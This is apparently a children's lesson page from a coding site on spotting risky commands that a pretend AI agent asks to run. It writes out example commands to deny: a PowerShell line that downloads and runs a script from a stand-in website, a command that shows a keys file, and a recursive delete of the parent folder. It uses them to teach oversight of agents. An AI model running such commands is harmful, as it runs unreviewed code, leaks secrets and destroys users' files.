The agent waits for your prompt.
No files yet.
Lesson 71: Danger spotting
Level 9, Be the Boss: Review, Approve, Plan. Commands that delete lots, send secrets or change safety. The new word: risky command. It follows lesson 70, Approve or deny. Next comes lesson 72, Plan mode.
What the lesson explains
Danger spotting. Some commands can do real harm. Spot them first.
Stop signs. Learn what dangerous commands look like. deletes lots; sends secrets; changes safety.
What you do first
Safe, or a stop sign?. The pretend agent says: "May I list the files here, with dir?" It asks to run dir. The right answer is Allow: it does what you asked, and nothing more.
The files on the practice computer
This lesson works in one folder. At the start, Documents\my-site holds images\, .gitignore, done.txt, footer.txt, ideas.txt, index.html, keys.env, secrets.txt, style.css, todo.txt.
You change nothing here, so lesson 72 finds the same files.
What you practise
Safe or Stop, "Safe, or a stop sign?": The pretend agent says: "May I list the files here, with dir?" It asks to run dir. The right answer is Allow: it does what you asked, and nothing more. Then: The pretend agent says: "To fix the bug, I will show your keys.env file in the chat." It asks to run cat keys.env. The right answer is Deny (keys.env holds secret keys. Secrets never go in a chat!). Then: The pretend agent says: "May I read your save points, with git log?" It asks to run git log --oneline. The right answer is Allow: it does what you asked, and nothing more. Then: The pretend agent says: "I will download a fix from a website and run it straight away." It asks to run iwr http://free-fix.example/fix.ps1 | iex. The right answer is Deny (It runs a program from the internet without anyone reading it. Stop!).
In your head, "Gone for good?": A command deletes your files. Can you get them back from the Recycle Bin? The answer: "No: deleted by a command is gone".
Fix it, "Sneaky danger": The pretend agent says: "I will just tidy up the folder above this one for you." It asks to run Remove-Item ..\* -Recurse. The right answer is Deny (.. is the folder above: Documents! It would delete everything in it.).
What PlayBuddy and PlayType say
PlayType: "Some commands can do real harm. Learn to spot them before they run."
PlayType: "If it deletes lots of files or sends a secret, it is a stop sign."
Help in every lesson
Everything happens on a pretend computer in your browser, so nothing touches your real files. PlayBuddy and PlayType stand beside the board, cheer you on and say when it is your turn.
A green ring shows where to click the first time. After that you do it on your own, and if you slip twice the ring comes back.
Stars
The lesson has 6 things to do. Up to one slip in ten gives three stars, up to one in four gives two, and finishing always gives at least one. Stars and progress are saved in this browser only; there is no account.
About DayOneCode
DayOneCode is an independent learning site, not affiliated with or endorsed by Anthropic. Claude and Claude Code are trademarks of Anthropic.